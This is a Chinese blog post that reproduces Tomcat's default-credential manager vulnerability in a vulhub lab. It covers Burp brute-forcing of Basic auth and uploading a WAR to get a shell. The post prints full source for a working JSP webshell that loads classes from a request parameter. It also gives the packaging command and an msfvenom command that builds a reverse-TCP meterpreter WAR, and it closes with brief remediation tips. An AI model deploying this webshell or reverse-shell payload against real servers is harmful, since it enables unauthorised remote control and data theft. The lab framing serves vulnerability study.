首页 > 系统相关 >tomcat弱口令后台getshell漏洞复现

tomcat弱口令后台getshell漏洞复现

时间:2024-04-08 19:56:55浏览次数:28  
标签:xml getshell 用户名 tomcat 默认 密码 复现 war

漏洞描述

tomcat是一个用于快速部署jsp网站的中间件

tomcat默认的管理页面manager使用basic认证用户名密码登录,可以使用burp进行爆破,并且一般安装后如果不修改/conf/tomcat-users.xml文件中的默认用户名密码tomcat:tomcat,可以登录管理后台,在部署war包后tomcat默认会将war包中的项目部署,由于可以任意的上传,所以我们可以将jsp文件打包为一个war文件上传getshell

tomcat默认目录解析

  • bin : 存放启动和关闭tomcat服务的可执行文件,例如.bat .exe .sh
  • catalina.sh: 主要用于启动和管理tomcat服务器
  • startup.sh : 启动tomcat服务
  • shutdown.sh : 关闭tomcat服务
  • configtest.sh : 检查配置文件
  • conf : 存放配置文件
    • server.xml: 全局配置文件
    • web.xml: 控制tomcat支持的文件类型
    • tomcat-users.xml : tomcat用户配置文件
  • lib : 各种jar文件,tomcat库文件
  • logs : 日志文件
  • webapps : Web应用程序目录,其中可能默认还有以下目录
    • examples : 该目录是一个tomcat部署的一个默认项目,其中会展示tomcat的功能
    • ROOT : 是Web服务的默认目录,例如在访问http://localhost:8080/目录时,默认访问呢就是该目录的文件
    • manager : tomcat的管理应用,用于远程部署、启动、停止和卸载Web应用。这个应用通常需要管理员权限才能访问,该页面的用户配置文件由conf/tomcat-users.xml配置
    • host-manager : 管理虚拟主机,需要管理员权限

这里只做简单了解。

漏洞利用

使用vulhub进行漏洞复现

cd vulhub/tomcat/tomcat8
sudo docker-compose up -d

该漏洞场景是部署没有修改的配置文件tomcat-users.xml,其中用户名和密码都是tomcat,这里我们为了学习更多的方法,采用burp尝试爆破basic认证
点击mananger app或者直接访问manager目录,会提示登录,这里随便输入使用burp抓包提交

发送到爆破模块

YWRtaW46YWRtaW4=进行base64解码

所以这里需要添加三个参数并且拼接到一起,这是最好的方式是使用自定义迭代的方法
格式为: 用户名:密码,然后提交的时候进行base64加密,这里我们使用默认模式sniper(狙击手)

配置每个位置的值,注意这里每个用户名变量都使用自定义迭代器
第一个就是用户名变量,由于这里我们知道用户和密码,只是做一些爆破测试,手动加入一些常见的用户名,选择位置为1

第二个变量是用户名和密码的分解符,所以直接加入:即可,选择位置2

第三个变量是密码变量,手动加入一些密码测试爆破,选择位置3

取消默认将参数值进行url编码

最后进行base64编码

最后开始爆破

通过状态码为200表示爆破成功,我们进行base64解密后台用户名密码就是tomcat:tomcat

接着我们访问并登录后台找到上传war文件位置

这是需要执着一个war的包,可以自己手动打包,jsp一句话木马代码如下,密码为passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

使用jar cvf test.war test.jsp打包

将该test.war上传后tomcat直接会部署该项目,根据文件名生成一个目录,并将我们打包的test.jsp放到目录中,所以只需要访问test/test.jsp即可


访问成功,空白页面

使用蚁剑连接

额外的技巧,使用msfvenom也可以生成war后门文件,如下

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.25.0.1 LPORT=4444 -f war -o shell.war

上传后只需要启动msfconsole然后use multi/handler,设置payload和相关参数,可以获得一个更强的meterpreter shell
感兴趣可以手动尝试。

漏洞修复建议

  1. conf/tomcat-users.xml中的用户名和密码都进行更改,改的极其复杂,更改后记得重启服务器
  2. manager目录下的功能暂时关闭,需要的时候打开

标签:xml,getshell,用户名,tomcat,默认,密码,复现,war
From: https://www.cnblogs.com/Junglezt/p/18122284

相关文章

  • 【论文复现|智能算法改进】融合多策略的黄金正弦灰狼优化算法
    目录1.算法原理2.改进点3.结果展示4.参考文献1.算法原理【智能算法】灰狼算法(GWO)原理及实现2.改进点收敛因子非线性调整策略GWO算法的探索和开发能力很大程度上依赖于A的取值,当|A|>1时,灰狼群体通过扩大搜索范围继续搜寻猎物,即全局搜索;而当|A|<1......
  • 【漏洞复现】Telesquare TLR-2005KSH路由器 cgi-bin接口处存在RCE漏洞
                            免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习......
  • SpringBoot中的Tomcat(内嵌式)使用及分析
    前言Tomcat是我们在项目中使用最多的Web应用服务器,今天通过代码来简单分析下SpringBoot中是如何启动内嵌式Tomcat的。使用importjava.io.File;importjava.io.IOException;importjava.nio.charset.StandardCharsets;importjava.util.HashSet;importjava.util.Se......
  • Nginx 文件名逻辑漏洞(CVE-2013-4547)复现
    漏洞原理影响范围:Nginx0.8.41~1.4.3影响范围:Nginx1.5.0~1.5.7Nginx在解析php文件的时候通常在配置文件中如下配置location~\.php${roothtml;includefastcgi_params;fastcgi_passphp:9000;......
  • windows环境下使用tomcat搭建文件服务器(带权限验证)
    操作系统:Windows11 jdk:jdk1.8tomcat版本:8.5.100 开始准备所需物料。tomcat下载地址:https://tomcat.apache.org/download-80.cgi选择windows64位选择64-bitWindowszip。查看tomcat版本说明支持,tomcat8支持1.7及以上,我这边下载1.8版本。jdk下载路径:https://www.or......
  • Java Tomcat7中使用Quartz2.2实现定时任务项目代码实例(demo)
    ​ 在Java中使用Quartz2.2结合Tomcat7实现定时任务是一种常见的需求,Quartz是一个强大的定时任务库,能够帮助开发者轻松实现复杂的定时任务调度。以下是一个简单的示例,展示如何在JavaWeb应用中集成Quartz来执行定时任务。 详细文档:JavaTomcat7中使用Quartz2.2实现定时任务......
  • Nginx 解析漏洞复现
    该漏洞与php和nginx版本无关,是配置错误导致的问题漏洞描述通常在nginx.conf的配置文件或者include包含的其他配置文件下有以下信息location~\.php${fastcgi_indexindex.php;includefastcgi_params;fastcgi_paramR......
  • PHP imap 远程命令执行漏洞(CVE-2018-19518)漏洞复现
    phpimap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这......
  • windows 环境下启动多个tomcat
    在Windows环境下面测试tomcat集群时,由于在环境变量中配置了catalina_home,导致每次启动都会走默认的配置,无法启动多个tomcat 修改方法直接修改startup.bat文件,设置CATALINA_HOME默认值。设置成tomcat安装路径即可setCATALINA_HOME=D:\programs\tomcat-cluster\apache-tomcat-8......
  • Mysql数据库getshell方法
    今天摸鱼时候,突然有人问我不同的数据库getshell的方式,一时间我想到了mysql还有redis未授权访问到getshell的方式,但是仅仅第一时间只想到了这两种,我有查了查资料,找到了上面两种数据库getshell的补充,以及其他数据库getshell的方式。因此更新一个专栏,各个数据库getshell的方式。......